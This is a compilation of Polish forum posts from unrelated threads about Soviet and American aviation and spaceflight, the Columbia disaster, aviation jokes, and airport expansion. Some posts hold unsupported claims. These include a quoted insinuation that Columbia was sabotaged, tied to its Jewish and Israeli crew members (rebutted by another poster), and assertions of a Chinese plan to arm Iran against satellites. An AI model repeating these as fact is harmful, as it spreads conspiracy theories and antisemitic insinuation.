Te samoloty nie sa budowane z czegos co nie istnieje na rynku i to od dluzszego
czasu a mianowicie wlokna grafitowe czy zywice. Opanowali zreszta produkcje
roznych komponentow do stacji kosmicznych,promu i rakiet zatem mysle ze do
takiego samolotu sa w stanie tez to zrobic. To ze nie robia to nie znaczy wcale
ze nie wiedza jak to sie robi. Czolgi tez maja rozne kompozytowe detale. Takie
tkaniny do budowy samolotow amatorskich mozna kupic w USa(w sprzedazy
wysylkowej)

  Tu 144 Co to za ustrojstwo !!!
wojciech6j napisał:

> A tu ciekawe
> wiadomosci.polska.pl/kalendarz/kalendarium/article.htm?id=35257
> Okazuje się, że TU-144 był samolotem naddźwiękowym, ale nie miał nadźwiękowej
> prędkości przelotowej, bo silniki bez dopalania były za słabe!!!
> Tę informację potwierdzają również inne źródła. Dopiero w 1979 wyprodukowano
> wersję z nowymi silnikami zapewniającymi supersonic cruise speed. 10 lat po
> Concordzie!!!
> Czyżby Tu-144 był więc kolejną sowiecką mistyfikacją, służącą jedynie do
celów
> propagandowych???

Sława!

Pewnie tak.

Podobnie jak sowiecki prom kosmiczny, ktory w przeciwieństwie do (
rozbijających się) amerykańskich nigdy nie latał w kosmosie...

Forum Słowiańskie
gg 1728585

  Tu 144 Co to za ustrojstwo !!!
System podtrzymywania życia Rosjanie mieli obcykany już od lotu Gagarina drogi
Wojciechu! Więc teza o o"nie gotowości" kupy się nie trzyma! A skoro lot
automatyczny jest tak prosty jak Piszesz,to widocznie Amerykanie...nigdy nie
chodzili do kółka modelarskiego bo bez pilota żaden prom kosmiczny Made By USA
nie był by w stanie wylądować!:) Po za tym swego czasu rozważano w Stanach
zakup od Rosji automatycznego systemu ratunkowego działającego efektywnie
podczas startu promu! Takie urządzenie Rosjanie mieli gotowe do użytku i
przetestowane bo było to rozwinięcie systemu ratunkowego pilota samolotu
pionowego startu i lądowania Jak-38MP! A Amerykanie nie posiadali nic takiego!
Co do przerwania programu Buran to był to krok z ekonomicznego punktu widzenia
bardzo dobry bo do tej pory Rosyjskie rakiety nośne są NAJTAŃSZYM sposobem
umieszczania w kosmosie satelitów! Jak to jest ,że większość Amerykańskich
satelitów ostatnio wlaśnie Rosyjskie rakiety wynoszą w kosmos?:)
-Pozdrawiam!

  Tu 144 Co to za ustrojstwo !!!
> z jakichś pryncypialnych względów nie
> jest to dla NASA dla tego modelu wykonalne

No cóż może masz i rację. NASA co prawda twierdzi że jest to możliwe ale kto by
się tam nimi przejmował - przecież to Amerykanie a Amerykanie zawsze kłamią.

> wręcz przeciwnie - lot wymaga obsługi przez większą liczbę załogi
> (specjalistów) niż np. pilotowanie takiego Boeinga

Hmm prom prowadzą 2 osoby (a w zasadzie 1 naraz). Czyli tak jak samolot
pasażerski. Natomiast faktycznie zabezpieczenie lotu wymaga znacznie więcej
specjalistycznego personelu naziemnego, bez porównania - jeśli to miałeś na
myśli to oczywiście masz rację. W końcu to lot kosmiczny jest jednak... sama
obsługa wyrzutni to pewnie z kilkaset osób. Kontrolerzy lotu, specjaliści od
łączności... na pewno są to setki albo i tysiące ludzi.

  punk rock later 2 (sequel)
punk rock later 2 (sequel)
SZTUKA CHWILOWA. W POGONI ZA POGONIĄ ZA CIMOSZEWICZEM.

SCENA: wnętrze pokoju. Trochę w starym stylu, trochę w nowym.

DZIEWCZYNA (wystylizowana na styl >>punk<< i autentycznie zbuntowana)
CHŁOPAK (irokez na rzepa wystaje mu z kieszeni kurtki, w ogóle ma minę
fałszywą)

NA STOLE OTWARTE WINO. W ADAPTERZE PŁYTA.

DZIEWCZYNA

Punk rock?

CHŁOPAK

Later... wiesz... teraz nie pora na ideały, muszę iśc na konwent wyborczy
lewicy, włożyć czerwony krawat, podłożyć się znowu komuchom, wiesz no nie ma
nic za darmo, mieszkanie kosztuje, woda kosztuje, wino kosztuje, samochód
kosztuje, drugi samochód kosztuje, pociąg kosztuje, samolot kosztuje, prom
kosmiczny kosztuje, kiedy ja mam mieć czas na punk rock?

DZIEWCZYNA

Mam brata który ma brata, który ma brata, który ma brata, który ma brata,
który ma brata, który ma brata, który mówi że punk rock tak ale later to już
nie

  Biały Dom: zniknięcie Columbii to nie zamach
Jak nie trudno i ze smutkiem zauwazyc "homo-sovieticus" ciagle
pozostaje w mentalnosci wielu z nas.

Rzad amerykanski nie dyktuje NASA jak ma prowadzic swoje
programy. Administracja finansuje dzialalnosc Agencji po
zatwierdzeniu budzetu. NASA calkowicie odpowiada za wdrozenie
swoich wlasnych wytycznych. Decyzja czy flota promow kosmicznych
nadaje sie do ruchu nie zapada na szczeblu politycznym w
Waszyngtonie, ale w wyniku prac rzeszy naukowcow i inzynierow
NASA, wspomaganych najlepsza dostepna technologia.
Dwudziestoletnia "Columbia" to nie to samo co stary samochod
zwyklego zjadacza chleba. Atesty i kontrola remontow podlegaja z
gory ustalonemu procesowi, ktory zostal wypracowany w ciagu
wielu lat badan (nie tylko w NASA ale takze budowniczych promu),
a nie czyjegos widzimisie. Wiek samolotow i innych statkow
powietrznych liczy sie nie w latach kalendarzowych, lecz w
liczbie lotow oraz ich dlugosci. Czas spedzony w hangarze nie
jest tym samym co start lub ladowanie. Minuty takiego lotu
zuzywaja prom bardziej niz miesiace na ziemi.
Jednym z celow progamu badan z udzilem "Columbii" jest ustalenie
przydatnosci danej technologi na przestrzeni lat jej
eksploatacji. Decyzja, ktory prom jest przeznaczony to kolejnego
lotu zapada w wyniku analizy aktualnego stanu floty oraz zadan
nadchodzacej misji, na podstawie danych naukowych i
technicznych. Przypadkowosc lub lekkomyslnosc nie maja miejsca w
gospodarce amerykanskiej, szczegolnie w organizacji o tak
wysokim profilu jak NASA.

Budowa - co trzy lata - nowych promow by zastapic eksploatowane
obecnie, nie ma najmniejszego sensu. Taniej by bylo
wysylac "klasyczne" misje z jednokrotnym pojazdem kosmicznym.
Caly idea polega na zbudowaniu technologii przenoszenia
wielokrotnego uzycia, tak by eksploatacja bazy kosmicznej na
orbicie (gdzie w tej chwili trzech ludzi przebywa)
stalo sie mozliwe na duza skale i z konkretnymi korzysciami.
Innym konkretnym celem byloby przeniesiene takie technologii do
obslugi lotow komercyjnych, choc to tego jeszcze daleko. Bez
ustalenia przydatnosci wielokrotnej utylizacji takich pojazdow,
jest praktycznie nie mozliwe.

Twierdzenie, ze wydaki na pomoc wojskowa dla Izraela w
jakikolwiek sposob moga wplynac na budzet NASA jest zupelnie
bezpodstawne.

Jacek

  Biały Dom: zniknięcie Columbii to nie zamach
Gość portalu: Jacek napisał(a):

> Jak nie trudno i ze smutkiem zauwazyc "homo-sovieticus" ciagle
> pozostaje w mentalnosci wielu z nas.
>
> Rzad amerykanski nie dyktuje NASA jak ma prowadzic swoje
> programy. Administracja finansuje dzialalnosc Agencji po
> zatwierdzeniu budzetu. NASA calkowicie odpowiada za wdrozenie
> swoich wlasnych wytycznych. Decyzja czy flota promow kosmicznych
> nadaje sie do ruchu nie zapada na szczeblu politycznym w
> Waszyngtonie, ale w wyniku prac rzeszy naukowcow i inzynierow
> NASA, wspomaganych najlepsza dostepna technologia.
> Dwudziestoletnia "Columbia" to nie to samo co stary samochod
> zwyklego zjadacza chleba. Atesty i kontrola remontow podlegaja z
> gory ustalonemu procesowi, ktory zostal wypracowany w ciagu
> wielu lat badan (nie tylko w NASA ale takze budowniczych promu),
> a nie czyjegos widzimisie. Wiek samolotow i innych statkow
> powietrznych liczy sie nie w latach kalendarzowych, lecz w
> liczbie lotow oraz ich dlugosci. Czas spedzony w hangarze nie
> jest tym samym co start lub ladowanie. Minuty takiego lotu
> zuzywaja prom bardziej niz miesiace na ziemi.
> Jednym z celow progamu badan z udzilem "Columbii" jest ustalenie
> przydatnosci danej technologi na przestrzeni lat jej
> eksploatacji. Decyzja, ktory prom jest przeznaczony to kolejnego
> lotu zapada w wyniku analizy aktualnego stanu floty oraz zadan
> nadchodzacej misji, na podstawie danych naukowych i
> technicznych. Przypadkowosc lub lekkomyslnosc nie maja miejsca w
> gospodarce amerykanskiej, szczegolnie w organizacji o tak
> wysokim profilu jak NASA.
>

Poczytaj sobie załącznik do raportu komisji prezydenckiem w sprawie katastrofy
Challengera. Sporządzony został przez członka tej komisji, wybitnego profesora
fizyki i noblisty Richarda Feynmana. Skądinąd był on żydem (o ile ma to dla
Ciebie znaczenie). Wtedy się wypowiedz na temat braku lekkomyślności lub
przypadkowości.... Bo mnie z lekka ciarki przeszły po plecach...

  Biały Dom: zniknięcie Columbii to nie zamach
Po przeczytaniu kilku komentarzy i opini, nie trudno zauwazyc -
"homo-sovieticus" ciagle pozostaje w mentalnosci wielu z nas.

Rzad amerykanski nie dyktuje NASA jak ma prowadzic swoje
programy. Administracja finansuje dzialalnosc Agencji po
zatwierdzeniu budzetu. NASA calkowicie odpowiada za wdrozenie
swoich wlasnych wytycznych. Decyzja czy flota promow kosmicznych
nadaje sie do ruchu nie zapada na szczeblu politycznym w
Waszyngtonie, ale w wyniku prac rzeszy naukowcow i inzynierow
NASA, wspomaganych najlepsza dostepna technologia.
Dwudziestoletnia "Columbia" to nie to samo co stary samochod
zwyklego zjadacza chleba. Atesty i kontrola remontow podlegaja z
gory ustalonemu procesowi, ktory zostal wypracowany w ciagu
wielu lat badan (nie tylko w NASA ale takze budowniczych promu),
a nie czyjegos widzimisie. Wiek samolotow i innych statkow
powietrznych liczy sie nie w latach kalendarzowych, lecz w
liczbie lotow oraz ich dlugosci. Czas spedzony w hangarze nie
jest tym samym co start lub ladowanie. Minuty takiego lotu
zuzywaja prom bardziej niz miesiace na ziemi.
Jednym z celow progamu badan z udzilem "Columbii" jest ustalenie
przydatnosci danej technologi na przestrzeni lat jej
eksploatacji. Decyzja, ktory prom jest przeznaczony to kolejnego
lotu zapada w wyniku analizy aktualnego stanu floty oraz zadan
nadchodzacej misji, na podstawie danych naukowych i
technicznych. Przypadkowosc lub lekkomyslnosc nie maja miejsca w
gospodarce amerykanskiej, szczegolnie w organizacji o tak
wysokim profilu jak NASA.

Budowa - co trzy lata - nowych promow by zastapic eksploatowane
obecnie, nie ma najmniejszego sensu. Taniej by bylo
wysylac "klasyczne" misje z jednokrotnym pojazdem kosmicznym.
Caly idea polega na zbudowaniu technologii przenoszenia
wielokrotnego uzycia, tak by eksploatacja bazy kosmicznej na
orbicie (gdzie w tej chwili trzech ludzi przebywa)
stalo sie mozliwe na duza skale i z konkretnymi korzysciami.
Innym konkretnym celem byloby przeniesiene takie technologi do
obslugi lotow komercyjnych, choc to tego jeszcze daleko. Bez
ustalenia przydatnosci wielokrotnego uzytkowania promow,
osiagniecie takiego celu jest praktycznie nie mozliwe.

Jacek

  Biały Dom: zniknięcie Columbii to nie zamach
Myslenie
kiramolski napisał:

> 3. myslenie nie jest jeszcze zabronione

Pelna zgoda.
Niestety, nie jest tez obowiazkowe.

Proponuje zatem teraz troche pomyslec dobrowolnie:

> 4. hipotezy wyjasniajace stawiac moge jedynie na
podstawie znanych mi faktow

Zwracaj uwage na zrodla informacji i porownaj dane z
wielu niezaleznych zrodel przed uznaniem ich za "fakty".

> 5. faktem jest, ze dwa wahadlowce ekspodowaly, w
pierwszym z nich, 17 lat temu, czlonkiem zalogi byla Pani
Resnick, narodowosci zydowskiej, w drugim czlonkiem
zalogi byl pierwszy astronauta izraelski,

111 pozostalych lotow wahadlowcow przebieglo pomyslnie.
Ile osob narodowosci zydowskiej bylo wsrod tych 777
astronautow?

Klania sie statystyka demograficzna i rachunek
prawdopodobienstwa.

> awaria nastapila nad miejscowoscia Palestine

Awaria trwala kilkanascie minut, rozpoczela sie na
wysokosci okolo 70 km w obiekcie poruszajacym sie z
predkoscia od ponad 20 km/s (przy pierwszych
niepokojacych sygnalach) do ponad 8 km/s (w momencie
utraty kontaktu).

Czy nadal twierdzisz ze zwrot "nastapila nad
miejscowoscia" ma sens?

Klania sie Heisenberg (chociaz w skali "makro").

> , w stanie "rodzinnym" Bushow,

Awaria rozpoczela sie jeszcze nad Kalifornia.

Klania sie geografia.

> 6. jezeli mozna porwac cztery samoloty i nikt tego nie
zauwazy, to czy nie mozna przekupic jednego z wielu
dziesiatek tysiecy pracownikow NASA?

Mozna.
Tylko ze "dziesiatki tysiecy" nie maja dostepu do
stanowiska startowego. Fizyczny dostep ma niewielu i tych
mozna poddac i poddaje sie za ich zgoda i wiedza
*bardzo* dokladnej obserwacji i weryfikacji.

> Czy nikt z nich nie mogl byc po prostu agentem ... byc
moze ... moze na przyklad ...

Jesli mozna wyjasnic okreslone zjawisko przy pomocy juz
istniejacych "bytow" to nie nalezy wynajdywac nowych i
"mnozyc ich ponad potrzebe".

To zasada logicznego wnioskowania znana od czternastego
(!) wieku.
Klania sie William of Ockham (i jego "brzytwa Ockhama").

> PEWNOSC OSWIADCZEN AMERYKANSKICH, BRZMIACYCH PO CZESCI
ZAISTE IDIOTYCZNIE: "NA PEWNO PROMU NIKT NIE ZESTRZELIL",

Co w tym idiotycznego?

Klania sie podstawowa znajomosc techniki wojskowej i fizyki.

Prom kosmiczny na wysokosci 70 km lecacy z predkoscia
dwudziestokrotnie wieksza od predkosci dzwieku mozna
zestrzelic tylko taka antyrakieta jaka USA wlasnie
staraja sie skonstruowac w ramach programu swojej
"tarczy" ale dotychczasowe proby tego systemu skonczyly
sie na razie niepowodzeniami.

> CZY NAPRAWDE NIE WOLNO NAM JUZ NAWET MYSLEC???

Wolno!
Wiec mysl.

  Radość w Iraku po katastrofie promu :(
> W kulturze mojego kraju (Polska)
> nie jest dobrze widziane okazywanie rados´ci z czyjejs´ s´mierci

januszu

"smrodek dydaktyczny"?
czy proba dania mi psztyczka?

a moze realna potrzeba analizy kulturowej?

jesli tak - pomagam
religia buddyjska
nie traktuje smierci jednoznacznie negatywnie
jak kultura NASZA
(polska)

widzialem dzieci bawiace sie porwanymi na strzepy czesciami ciala
ofiarami wypadku lotniczego ktory zadnych swieczek sie nie doczekal
i nie bylo to bezczeszczenie...

ale przeciez nie o to chodzi
a o urazone uczucia "humanitarne"
i o atawistyczna nienawisc
uzyta w sposob prymitywnie propagandowy

prymitywnie?
to wcale nie jest obelga jesli sie zastanowisz
bo prymitywne uczucia wcale nie sa zle
zle jest natomiast nimi manipulowac

tak jak to przypomina indris
w wypadku wtc
pokazywano ARCHIWALNE zdjecia
tanczacych palestynczykow...

propaganda? kosztem smierci?
kto tu powinien czuc sie bardziej winny?

zreszta - pozwol mi na chwile zajrzec glebiej
tragedia columbii...

dokladnie TAK
tragedia columbii
jest tragedia znanego promu kosmicznego
na ktorego pokladzie znajdowali sie
AKURAT wtedy
jacys ludzie

cala ten wrzaskliwa stypa
kreci sie kolo obiektu
a on tylko i wylacznie
reprezentuje wartosc materialna

siedmiu kosmonautow
nie wypadlo jednak sroce spod ogona
byli woluntariuszami
i ZYCIE swoje oddali rownie swiadomie
jak pilot-oblatywacz nowego typu samolotu

znali dokladnie ryzyko

wiec skad ten caly medialny zgielk sie wzial?
moze pomozesz mi zrozumiec
jesli naprawde nie chodzi o smierc columbii?

ktos pisal mi o teflonie i nakazywal powrot na drzewo
ja napisalem, ze teflonowi swieczki nie zapalam

ktos napisal - pionierzy kosmosu
okres pionierski fakt - trwa
romantyzm jego dawno jednak juz wywietrzal
a rutyna dopuszcza turystyke za gruba forse

czemu mam posypywac wlosy popiolem?
codziennie gina ludzie
gina rowniez w wypadkach samolotowych
gina idac do biura

nie ogarnela mnie znieczulica
ogarnal mnie chlod
i zniechecenie
gdy sprawy wazniejsze sa przemilczane
a propaganda tanczy do wlasnej melodii

wracajac do twej opinii
ze porownuje wojne w afganistanie
ze stanem pokoju w iraku

czy naprawde tak uwazasz?

pamietasz okreslenie "zimna wojna"?
to okreslenie nie pasuje nawet do usa/irak na dzien dzisiejszy...

ta wojna sie juz zaczela
teraz trzeba sie zastanowic
czy i jak niedopuscic do jej eskalacji

pozdrawiam

nostromo

  Max/min zużycie paliwa
Tymczasowo przyznaje palme pierwszenstwa :-))) Cxzekam na kogos, kto prowadzi
pociag z lokomotywa spalinowa albo jest kapitanem ...transatlantyka :-))) W
ostatecznosci moze byc samolot, ale nie Wilga, tylko Concorde co najmniej -
najlepiej, zeby to byl prom kosmiczny :-)

  Amerykański senator Lieberman wzywa do ataku na...
oczywiscie, ze popra - juz to zrobily.
majaczenie na forum jest juz zarezerwowane, m.in. dla ciebie.
alez chiny nikogo nie musza popierac. w skrocie wyglada to tak: od poczatku lat 90-tych chiny mocno zintensyfikowaly badania nad systemem niszczenia satelitow. oparty jest na dwoch filarach - pierwszy to klasyczny, wrecz prymitywny 'kinetic-kill', czyli 'walne to spadnie'. drugi to laser duzej mocy. lasery juz wielokrotnie byly stosowane, juz od dobrych paru lat gdzieniegdzie pojawialy sie pelne niedowierzania raporty o 'oswietlaniu' amerykanskich satelitow przez chinskie lasery [wczesniej tak robilo zsrr, czego kulminacja byl 'atak' na amerykanski prom kosmiczny sts-41-g (challenger) przeprowadzony przez laser terra-3 w 1984r]. chinczycy mieli z amerykanami pol-oficjalna dzentelmenska umowe, ze nie bedzie testow broni rakietowej. i trzymal isie jej do stycznia, kiedy to po kilku nieudanych probach zestrzelili starego satelite. poczatkowo nawet czolowi przywodcy chinscy wydawali sie byc zaskoczeni.
wojna z iranem juz sie zaczela, a po stronie iranu staja chiny. oczywiscie, ze chiny nie stana otwarcie w obronie iranu. realizuja obecnie plan, ktory ma uczynic wojne z iranem nieoplacalna w oczach amerykanskich generalow. amerykanie przeboleliby smierc kilkuset zolnierzy, stare samolotow, czolgow, czy okretow - ale gdyby iranczycy zademonstrowali wiarygodne mozliwosci niszczenia amerykanskich satelitow, przeciwnicy ataku na iran wsrod amerykanskich wojskowych dostaliby potezny argument. i dlatego chiny reaktywowaly system kinetic-kill - doprowadzaja go do takiej postaci, aby mogl byc wykorzystany przez prymitywniejsze iranskie rakiety, przy akceptowalnej skutecznosci. system na tyle prymitywny, zeby nie mogl dzialac samodzielnie (dane o polozeniu satelitow przekazywane bylyby i tak z chinskich centrow radarowych, bo iranczycy nie maja wystarczajacej technologii) ani w przyszlosci zagrozic chinom, ale na tyle zaawansowany, zeby mogl stanowic realne zagrozenia dla amerykanskiej konstelacji jak milstar czy nawet navstar.

  Z życia pilotów :-))))))))))))))))
Poniżej nowe, raczej średnie, reszta się robi.

Dziękuję wszystkim za pozdrowienia, życzę wystrzałowego sylwestra i najlepszego
roku 2003! Spełnienia marzeń!

Dzięki autorowi wątku! Ten pomysł dał nam wszystkim kupę radości!

No i lecimy!

================================================================

At London Gatwick: an Air France A320 is making an auto-approach. At 200 feet,
the computer decided to make a go-around with no reason and no command from the
crew. Here is what we head on the TWR freq.:
Air France: London from Air France 1234, It's going around!
London TWR: Air France 1234, report intentions
Air France: Well ... to go with it sir!

Na lotnisku Londyn Gatwick: Airbus 320 linii Air France wykonuje automatyczne
podejście do lądowania. Na wysokości 200 stóp komputer pokładowy zdecydował o
wykonaniu okrążenia nad lotniskiem, bez żadnego powodu i bez komendy ze strony
załogi. Oto, co można było usłyszeć na częstotliwości wieży:
Air France: Londyn, tu Air France 1234, on robi okrążenie!
wieża: Air France 1234, podaj zamierzenia.
Air France: Cóż... lecieć z tym samolotem!

=======================================================

The very first space shuttle flight.
Shuttle COLUMBUS in orbit above Spain:
COLUMBUS: Saragosso Tower, this is COLUMBUS. How do you read me?
SARAGOSSO TWR: Read you five by five. What's your callsign?
COLUMBUS: COLUMBUS.
SARAGOSSO TWR: ??? What's your altitude?
COLUMBUS: One Zero Zero Zero Zero Zero Zero Zero

Pierwszy lot wahadłowca.
Prom kosmiczny Columbus na orbicie nad Hiszpanią:
Columbus: Wieża Saragosso, tu Columbus. Czy mnie słyszysz?
wieża Saragosso: Słyszę was bardzo wyraźnie. Jaki jest wasz sygnał wywoławczy?
Columbus: COLUMBUS
wieża Saragosso: ??? A na jakiej jesteście wysokości?
Columbus: jeden – zero – zero – zero – zero– zero – zero – zero

===========================================================

Military pilot called for a priority landing, because his single-engine jet
fighter was running "a bit peaked". Air Traffic Control told the fighter jock
that he was number two, behind a B-52* that had one engine shut down.
"Ah", the fighter pilot remarked, " The dreaded Seven-Engine approach".

Pilot myśliwca poprosił o pozwolenie na lądowanie na pierwszej pozycji,
ponieważ jego jednosilnokowy odrzutowiec zachowywał się „dziwnie”. Kontroler
powiedział mu, że ląduje jako drugi, za B-52, który musiał wyłączyć jeden
silnik.
„Och!” - na to pilot myśliwca - „to przerażające podejście na siedmiu
silnikach!”

*przypis: B-52 ma osiem silników.

  Tupolew: kolejny słowiański geniusz awiacji
31 grudnia 1968 r. powstały w pośpiechu Tu-144 wzniósł się w powietrze. Po dziś
dzień Rosjanie spierają się, kto był pierwszy: czy oni, czy Concorde, który
wystartował w marcu następnego roku, a którego stronnicy oskarżają Rosjan o
kradzież know-how. W maju 1970 r. Tu-144 odbył pierwszy lot naddźwiękowy.
Osiągnięty wówczas rekord prędkości, 2150 km na godzinę (przy wysokości ponad
16 km), poprawiony został później do 2,4 tys. km (przy wysokości 17 km). W
grudniu 1975 r. odbył się pierwszy lot pasażerski na trasie Moskwa–Ałma Ata–
Moskwa.

Tempo, w jakim pracowano przy projekcie Tu-144, miało swoją cenę. Maszyna
okazała się wysoce zawodna, bardzo kosztowna i, podobnie zresztą jak wiele
innych współczesnych radzieckich konstrukcji, zużywała ogromne ilości paliwa.
Katastrofy Tu-144 podczas salonu lotniczego w Le Bourget pod Paryżem w 1972 r.
oraz pod Jegoriewskiem oznaczały nie tylko porażkę projektu Tu-144. Zostawiły
też niezatarte piętno na biografii Aleksieja Tupolewa. Mimo sukcesów, za jakie
uznano jego późniejsze przedsięwzięcia (strategiczny bombowiec Tu-160,
pasażerski Tu-204 czy prom kosmiczny Buran), z jego postacią zawsze kojarzyć
się będzie sławny, ale nieudany Tu-144.

W cieniu ojca

– Stanął na czele biura w ciężkich czasach, kiedy zmniejszały się środki na
programy projektowania awioniki – przypominają pracownicy spółki OAO Tupolew,
powstałej na fali zmian w 1989 r. z połączenia biura konstrukcyjnego oraz
przedsiębiorstw lotniczych w Uljanowsku i Samarze.

Rosyjskie media przytoczyły opinie wychwalające Aleksieja Andriejewicza jako
niemającego sobie równych w firmie oraz podkreślające, że zdołał uchronić i
rozwinąć tradycje ojczystej szkoły awiacji, stworzonej przez ojca. – Był dla
nas wielkim nauczycielem, zwłaszcza dla mnie. Prosto ze studenckiej ławy
trafiłem pod jego kierownictwo i od razu zaczęliśmy projekt ponaddźwiękowych
samolotów pasażerskich – wspomina zmarłego Aleksandr Puchow, obecny główny
konstruktor w zakładach Tupolewa.

Pozdrawiam i zapraszam na:
Forum Słowiańskie

  Tragedia Columbii-Czy wiedzieli co ich czeka?
Powtorka z fizyki dla MACIEJA
Drogi MACIEJU, Twoje swiatle slowa:
>Tylko ze ptak rozbil mnie szybe przy szybkosci 100 na godz.
>Ten "foam" ktory oni pokazuja wazy 2 kg i przy szybkosci 2-4 mach moze
>wyrzadzic spore szkody.
>Ja moge uwierzyc,ze gdy rzucisz na ziemi tym 2 kg "foam" w shuttle to nie
>wyrzadzisz jej zadnej krzywdy.
>pol kilogramowy ptak niszczy silnik samolotu przy szybkosci 500km/godz.
>Wystaw reke przez okno samochodu przy szybkosci 100 mil/godz.
>Ten wypadek z shuttle zdarzyl sie przy szybkosci 3,000 km/godz.
No wiec Twoich slow nie da sie inaczej zinterpretowac, ze myslales/myslisz
jakby ta oderwana ze zbiornika 2kg izolacja uderzyla w prom z szybkoscia 3000
km/godz. A dokladnie z taka roznica szybkosci.
Wiec wyjasnilem Tobie, ze ta pianka sie oderwala moment przed uderzeniem i
miala PREDKOSC PROMU. Czyli uderzyla w prom z niewielka wzgledna do niego
predkoscia. Czyli uderzenie nie wyzwolilo wielkich energii, jak to Ty pisales.
Wlasnie niezrozumienie tego zjawiska fizycznego, wlasciwie bardzo prostego
Tobie zarzucilem. I nie tylko Tobie, jak wiemy.
Nastepna sprawa, mocno watpie, ze zdolano zrobic zdjecie tej odrywajacej sie
pianki, jak prom mial te 3Macha. Bo MUSIAL byc na parudziesieciu kilometrach. I
silnik ciagle pracowal, czyli ogromny ogien i dym zaslaniajacy takie
szczegoliki jak pianka.
Dlatego tez i watpie w ta przyczyne. Ale moze juz od jakiegos czasu skrzydla
promow sa latanie papierem, i wtedy nawet ta pianka majaca wzgledna szybkosc do
promu np. 20km/godz (?) je rozwalila. W porzadku, jak tak jest to sie zgadzam.
Ale jak czytam, tez po rosyjsku, NASA zwrocila sie do Rosjan o oferte na
transport towarow majacych przez te promy na ISS byc dostarczane, tez i
astronautow. I to w tym roku, jak i w przyszlym.
Czyli sprawa powazniejsza. A to ze te promy juz zlom, pisalem przed rokiem.
wystarczy znac technike, i sie takie rzeczy widzi.
Ale przytaczasz Chiny, jako potege kosmiczna. Wiec oni w 1994r kupili Sojuza od
Rosjan. Dwa lata pozniej systemy utrzymania zycia w kosmosie. Tez natutalnie od
Rosjan. Na tej podstawie buduja wlasny statek. Nawet ich kosmonauci sa
przygotowywani w Rosji. Bo sami tej infrastruktury nie maja.
A to jest kolosalna roznica, jak kupujesz od kogos, i nasladujesz. Niz jak sam,
z calymi podstawami tworzysz.
No ale coz, Mao robil rewolucje kulturalne, a Stalin zagonil do matematyki.
I to sa efekty.
Pozdrowienia

  Rozbudowa lotniska - polecam!
Czytam, czytam... Hmm... Nie można odmówić słuszności niektórym opiniom. Z
pewnością kiedyś, może już niedługo- kto wie, będzie zapotrzebowanie na
nowoczesny, a przede wszystkim duży i rozwojowy terminal. Lepiej stworzyć
obiekt XXI wieku dający szanse na elastyczne dostosowywanie do aktualnych
warunków i mogący niewielkim nakładem sił i kosztów modernizować się. Druga
sprawa i wg mnie bardzo istotna kwestia to odpowiednie skomunikowanie portu
lotniczego. Powiedzmy, że planowana obwodnica autostradowa ze zjazdem na
lotnisko to dobry pomysł. Przydałoby się jeszcze jakieś mądre połączenie dla
bliższych rejonów miasta, gdyż za jakiś czas ulica Graniczna może przestać
spełniać swe funkcje. A teraz a propos kwestii technicznych: drugi pas to mądry
pomysł, który z pewnością uplasuje nas w o wiele wyższej kategorii portów
lotniczych. Natomiast co do obecnego pasa startowego. Wielu z przedmówców
strasznie narzeka i twierdzi, że nasze lotnisko nie może przyjmować niektórych
samolotów i te muszą latać do Warszawy, Krakowa etc. TOŻ TO TOTALNA BZDURA.
Proponuję zapoznać się ze specyfikacją techniczną naszego pasa: długość 2800
metrów (to bardzo dużo jak na porty cywilne)- przecież to wystarczyłoby na
przyjęcie promu kosmicznego, że nie wspomnę o skromnym B-747. Tak "osławiony"
Kraków ma pas długi na zaledwie 1900 m. Dłuższe pasy mają tylko niektóre
lotniska wojskowe- m.in. w Powidzu- ok. 3000m. Pas Portu Wrocław w całości
wykonany z asfaltobetonu o nośności PCN 57/F/B/X/T i klasie przyczepności
0.79/0.76/0.73. W zupełności łyka nie tylko średnie transportowce typu C-130
Herkules, ale również super ciężkie C-17 Globmaster czy C-5 Galaxy. Lądowały
też kolosy An-225. Zastanówcie się czemu do Afganistanu czy Iraku lecieli z
Wrocławia? Bo w Krakowie zostałyby dziury :) Tyle faktów. Więc nie
potwierdzajmy reguły: "Cudze chwalicie, swego nie znacie". Trzeba być świadomym
zalet i zabrać się do konstruktywnej roboty. Przydałaby się jeszcze większa
płyta postojowa, być możę również stanowiska z rękawami do dokowania?
Pozdrawiam.

  Qoobaq witaj w domu ! :-)
tak, wiem, wiem :)
jest czołg, może być i samolot
a skończy sie na promie kosmicznym....

  Jestem za zlikwidowaniem LUBLINKA
Sa wyjatki np.kolej czy kopalnie ale i ich upadek juz si
> e zaczal
> i upadek wymaga czasu.

W cywilizowanych kapitalistycznych krajach do koleji sie doplaca. Roznica jest
taka ze tam sie pilnuje by byly one sprawnie zarzadzane a tu w polsce rzadza
matoly do spolki z zwiazkami zawodowymi.

Lodz jest biedna no i to totalne bezrobocie.
> bezrobocie bedzie jeszcze bardzo dlugo.

Totalne bezrobocie? To ile tego bezrobocia jest? Z tego co sie orientuje
srednia krajowa. Poza tym troche nowych duzych zakladow ma powstac wiec moze
nie jest az tak totalnie zle? Choc dla ciebie nawet gdyby to bezrobocie bylo 5%
to i tak bedzie totalne bo w lodzi moze byc tylko totalnie... Co do biedy w
lodzi, kolo 600tys lodzian lata co roku samolotami, niestety z okecia. Lodz to
duze miasto, jest sporo ludzi biednych ale sa i bogaci.

Wieksze szanse ma lotnisko w Las
> ku ale wymaga inwestycji. '

A to dlaczego? Bo bedzie dlizej sieradza? Moze jest lepiej skomunikowane z
lodzia niz lublinek?

Irak kosztuje i to sporo. Bezrobocie totalne. Brak pasazerow.D
> o lotniska trzeba doplacac z pieniedzy podatnikow.

To ile ten irak kosztuje i jaki to jest procent w stosunku do wydatkow budzetu
panstwa? Cos slyszalem ze kolo 2 - 5% budzetu MON. Czyli nic. Kosztuja to
kopalnie i niedochodowe zaklady oraz kosztuje zacofana infrastruktura
odstradszajaca inwestorow, np. ch... lotniska nie tylko w lodzi.

Jest pocieszajace tylko to ze tereny lotniska naleza do najlepszych w Polsce. J
> est to doskonale miejsce na park rozrywki czy nowoczesna dzielnice
> nowych technologii.

Takich terenow jest wiecej, nie trzeba od razu budowac ich w miejscu lotniska.

>Zreszta do lotniska juz dzielnica przemyslowa doszla

Czy to znaczy ze mamy problem ze z lotniskiem sasiaduja fabryki?

> Zwracam uwage ze inwestycje nie koncza sie na pasie startowym ale trzeba wybud
> owac jeszcze rurociag dostarczajacy paliwo i prawdopodobnie
> jeszcze kilka innych inwestycji.

Moze tunel do centrum i kosmodrom zapasowy dla promow kosmicznych. A i
Piramide. Łodzi jest potrzebne lotnisko a ze nie ma kasy to jest zmuszona
wybrac wariant ekonomiczny czyli najtanszy a wiec rozbudowa lublinka. W tym
